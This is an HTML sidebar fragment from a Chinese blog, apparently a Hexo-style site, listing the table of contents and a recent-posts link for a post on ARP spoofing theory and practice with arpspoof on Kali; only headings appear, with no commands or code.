href="#3-%E5%9C%A8kali%E7%B3%BB%E7%BB%9F%E4%B8%8B%E5%AE%89%E8%A3%85arpspoof"><span class="toc-number">3.3.</span> <span class="toc-text">3.在kali系统下安装arpspoof</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4-%E8%BF%9B%E8%A1%8CARP%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB"><span class="toc-number">3.4.</span> <span class="toc-text">4.进行ARP欺骗攻击</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-%E4%BD%BF%E7%94%A8%E6%8A%93%E5%8C%85%E8%BD%AF%E4%BB%B6%E6%8A%93%E5%8C%85"><span class="toc-number">3.5.</span> <span class="toc-text">5.使用抓包软件抓包</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#6-%E6%95%88%E6%9E%9C%E5%B1%95%E7%A4%BA"><span class="toc-number">3.6.</span> <span class="toc-text">6.效果展示</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%99%84%E5%BD%951"><span class="toc-number">3.7.</span> <span class="toc-text">附录1</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99"><span class="toc-number">4.</span> <span class="toc-text">参考资料</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2023/09/02/ARP%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB%E7%9A%84%E7%90%86%E8%AE%BA%E4%B8%8E%E5%AE%9E%E8%B7%B5/" title="ARP欺骗攻击的理论与实践"><img src="/img/Cover_ARP.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="ARP欺骗攻击的理论与实践"/></a><div class="content"><a class="title" href="/2023/09/02/ARP%E6%AC%BA%E9%AA%97%E6%94%BB%E5%87%BB%E7%9A%84%E7%90%86%E8%AE%BA%E4%B8%8E%E5%AE%9E%E8%B7%B5/" title="ARP欺骗攻击的理论与实践">ARP欺骗攻击的理论与实践</a><time datetime="2023-09-01T16:00:00.000Z" title="发表于 2023-09-02 00:00:00">2023-09-02</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/01/17/DEMO/" title="DEMO"><img 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